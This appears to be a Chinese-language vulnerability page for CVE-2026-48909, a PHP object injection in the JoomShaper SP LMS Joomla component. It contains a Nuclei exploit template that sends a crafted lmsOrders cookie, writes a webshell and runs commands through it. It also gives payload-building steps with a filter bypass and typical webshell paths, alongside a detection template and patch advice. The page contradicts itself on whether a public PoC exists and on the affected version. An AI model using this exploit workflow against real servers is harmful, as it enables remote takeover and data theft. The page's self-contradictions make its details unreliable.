[webapps] Joomla Extension 4.1.4 - PHP Object injection
CVE-2026-48909: JoomShaper SP LMS 4.1.3及以下版本中存在PHP对象注入漏洞,通过lmsOrders cookie反序列化触发Joomla gadget链,实现远程代码执行。漏洞需Joomla < 5.2.2配合使用。PoC已在GitHub公开,严重等级9.8。
Joomla SP LMS组件cookie反序列化导致PHP对象注入,利用Joomla gadget链实现RCE。
Critical · CVSS 9.8📋 漏洞基础信息
| CVE | CVE-2026-48909 |
|---|---|
| 漏洞类型 | PHP对象注入 |
| 受影响版本 | JoomShaper SP LMS <= 4.1.3,Joomla < 5.2.2 |
| 危害等级 | Critical · CVSS 9.8 |
| 发布日期 | 2026-07-06 |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
com_splms/models/cart.php:28 对lmsOrders cookie进行unserialize(base64_decode($cookie)),未对用户输入做任何验证,导致反序列化任意PHP对象。
🎯 攻击场景
1. 攻击者构造恶意序列化payload,触发Joomla内置的FormattedtextLogger->__destruct() gadget;2. 该gadget调用File::write($path, $format)将webshell写入指定web目录;3. 访问webshell文件执行系统命令,完成RCE。成功标志:可执行任意命令。
💥 漏洞影响
攻击者可在目标服务器上执行任意PHP代码,完全控制服务器,导致数据泄露、权限提升、webshell持久化等严重危害。
⚔️ Nuclei Exploit 模板
以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:
id: CVE-2026-48909-exploit
info:
name: JoomShaper SP LMS <= 4.1.3 PHP Object Injection RCE
author: yours
severity: critical
description: Exploits PHP Object Injection via lmsOrders cookie to write webshell and execute commands
tags: cve,cve2026,joomla,splms,php-object-injection,rce
variables:
shell_path: "{{shell_path}}"
cmd: "id"
http:
- raw:
- |+
GET /index.php?option=com_splms&view=cart HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64;x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: lmsOrders={{payload}}
Connection: close
matchers-condition: and
matchers:
- type: status
status:
- 200
- 500
- type: word
words:
- "uid="
- "root:"
condition: or
extractors:
- type: regex
part: body
regex:
- '([^\s]+)'
- raw:
- |+
GET /{{shell_path}}?c={{cmd}}
HTTP/1.1
Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64;
x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "uid="
- "root:"
condition: or
extractors:
- type: regex
part: body
regex:
- '([^\s]+)'🔬 深度技术分析
1. build_payload: 先将webshell代码(php_code)编码为hex,构建包含fopen/fwrite的format字符串,避免特殊字符; 2. 通过填充字符调整format长度,使最终base64编码不含'/'和'+',以绕过Joomla的'cmd'输入过滤器; 3. 构造完整的FormattedtextLogger对象payload,包含路径、格式、deferredEntries等属性; 4. exploit: 向cart页面发送带有lmsOrders cookie的请求触发反序列化; 5. 等待gadget写入shell文件后,访问该文件并传递命令参数验证RCE。
🔍 Nuclei Detection 模板
以下为漏洞探测模板,用于判断目标是否受影响:
id: CVE-2026-48909-detection
info:
name: JoomShaper SP LMS <= 4.1.3 PHP Object Injection Detection
author: yours
severity: high
description: Detects vulnerable versions of JoomShaper SP LMS (<= 4.1.3) for CVE-2026-48909
tags: cve,cve2026,joomla,splms,php-object-injection,detection
http:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_splms&view=cart"
- "{{BaseURL}}/index.php?option=com_splms&view=cart&format=json"
matchers-condition: and
matchers:
- type: word
words:
- "SP LMS"
- "com_splms"
condition: or
- type: word
words:
- "lmsOrders"
part: header
extractors:
- type: kval
kval:
- set_cookie
part: header🛡️ 修复建议
升级JoomShaper SP LMS到4.1.4及以上版本;升级Joomla到5.2.2及以上版本(修复FormattedtextLogger.__wakeup() gadget)。临时缓解措施:禁用com_splms组件或在WAF中拦截包含lmsOrders cookie的异常base64数据。
📎 参考链接
🚨 威胁评估
| 📈 EPSS 利用概率 | 暂无数据 |
| 🚨 CISA KEV | 未被已知利用 |
| 🔧 公开 PoC | 暂无公开 PoC |
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-07-20 08:13 | 来源: Exploit-DB
🤖 常见问题解答(FAQ)
❓ 该漏洞是否需要Joomla特定版本?
需要Joomla < 5.2.2,5.2.2以上版本已修补FormattedtextLogger.__wakeup() gadget链,但反序列化点仍存在。
❓ 如何绕过Joomla的输入过滤器?
通过填充format字符串使base64编码不包含'/'和'+',并将PHP代码编码为hex避免$、_、{、}等字符。
❓ 攻击成功后的典型webshell路径是什么?
PoC中默认写入/tmp/x.php,也可指定/var/www/html/tmp/x.php、/home/USER/public_html/tmp/x.php等。